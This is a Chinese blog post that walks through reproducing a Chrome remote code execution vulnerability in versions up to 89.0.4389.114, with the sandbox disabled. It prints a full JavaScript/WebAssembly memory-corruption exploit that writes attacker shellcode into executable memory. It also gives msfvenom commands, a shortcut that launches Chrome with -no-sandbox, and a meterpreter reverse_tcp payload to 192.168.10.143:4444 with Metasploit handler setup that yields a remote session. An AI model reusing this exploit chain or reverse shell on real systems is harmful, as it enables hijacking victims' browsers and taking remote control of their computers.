Chrome远程代码执行

Chrome远程代码执行复现

漏洞简介

Google Chrome 远程代码执行漏洞。未经身份验证的攻击者利用该漏洞,可通过精心构造恶意页面,诱导受害者访问,实现对浏览器的远程代码执行攻击 , 但攻击者单独利用该漏洞无法实现沙盒(SandBox)逃逸。沙盒是 Google Chrome 浏览器的安全边界,防止恶意攻击代码破坏用户系统或者浏览器其他页面。

Google Chrome 浏览器默认开启沙盒保护模式。

影响范围

Google Chrome < = 89.0.4389.114

使用Chrome内核的其他浏览器。

利用条件

关闭沙箱模式 -no-sandbox

漏洞复现

首先我们生成shellcode

msfvenom -a x64 -p windows/x64/exec CMD="msg.exe administrator hi" EXITFUNC=thread -f num

使用msg给发送消息
在这里插入图片描述

修改poc,在shellcode区域写入自己生成的shellcode


<script>
    function gc() {
        for (var i = 0; i < 0x80000; ++i) {
            var a = new ArrayBuffer();
        }
    }
    let shellcode = [shellcode 区域];
    var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule);
    var main = wasmInstance.exports.main;
    var bf = new ArrayBuffer(8);
    var bfView = new DataView(bf);
    function fLow(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(0, true));
    }
    function fHi(f) {
        bfView.setFloat64(0, f, true);
        return (bfView.getUint32(4, true))
    }
    function i2f(low, hi) {
        bfView.setUint32(0, low, true);
        bfView.setUint32(4, hi, true);
        return bfView.getFloat64(0, true);
    }
    function f2big(f) {
        bfView.setFloat64(0, f, true);
        return bfView.getBigUint64(0, true);
    }
    function big2f(b) {
        bfView.setBigUint64(0, b, true);
        return bfView.getFloat64(0, true);
    }
    class LeakArrayBuffer extends ArrayBuffer {
        constructor(size) {
            super(size);
            this.slot = 0xb33f;
        }
    }
    function foo(a) {
        let x = -1;
        if (a) x = 0xFFFFFFFF;
        var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
        arr.shift();
        let local_arr = Array(2);
        local_arr[0] = 5.1;//4014666666666666
        let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
        arr[0] = 0x1122;
        return [arr, local_arr, buff];
    }
    for (var i = 0; i < 0x10000; ++i)
        foo(false);
    gc(); gc();
    [corrput_arr, rwarr, corrupt_buff] = foo(true);
    corrput_arr[12] = 0x22444;
    delete corrput_arr;
    function setbackingStore(hi, low) {
        rwarr[4] = i2f(fLow(rwarr[4]), hi);
        rwarr[5] = i2f(low, fHi(rwarr[5]));
    }
    function leakObjLow(o) {
        corrupt_buff.slot = o;
        return (fLow(rwarr[9]) - 1);
    }
    let corrupt_view = new DataView(corrupt_buff);
    let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
    let idx0Addr = corrupt_buffer_ptr_low - 0x10;
    let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
    let delta = baseAddr + 0x1c - idx0Addr;
    if ((delta % 8) == 0) {
        let baseIdx = delta / 8;
        this.base = fLow(rwarr[baseIdx]);
    } else {
        let baseIdx = ((delta - (delta % 8)) / 8);
        this.base = fHi(rwarr[baseIdx]);
    }
    let wasmInsAddr = leakObjLow(wasmInstance);
    setbackingStore(wasmInsAddr, this.base);
    let code_entry = corrupt_view.getFloat64(13 * 8, true);
    setbackingStore(fLow(code_entry), fHi(code_entry));
    for (let i = 0; i < shellcode.length; i++) {
        corrupt_view.setUint8(i, shellcode[i]);
    }
    main();
</script>

保存为 shell.html 文件
在这里插入图片描述

使用 关闭沙箱启动 chrome
在这里插入图片描述

打开 我们的shell.html文件

在这里插入图片描述

我们已经成功的执行 msg 命令

我们设置一个快捷方式让它能双击就自启动

我们编辑快捷方式, 在目标位置写入如下

在这里插入图片描述

C:\Users\Administrator\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox file:///C:/Users/Administrator/Desktop/shell.html

这样双击打开 shell.html文件的时候 就自动的关闭沙箱启动

直接打开即可弹出消息

在这里插入图片描述

接下来我们使用shellcode 上线msf

生成反弹shell的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.143 lport=4444 -f csharp -o payload.txt 

在这里插入图片描述

修改shell.html的shellcode部分

在这里插入图片描述

msf开启监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.10.143
msf6 exploit(multi/handler) > run

在这里插入图片描述

关闭沙箱打开,我们的 shell.html

在这里插入图片描述

在这里插入图片描述

我们已经成功拿到了主机的一个meterpreter会话

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值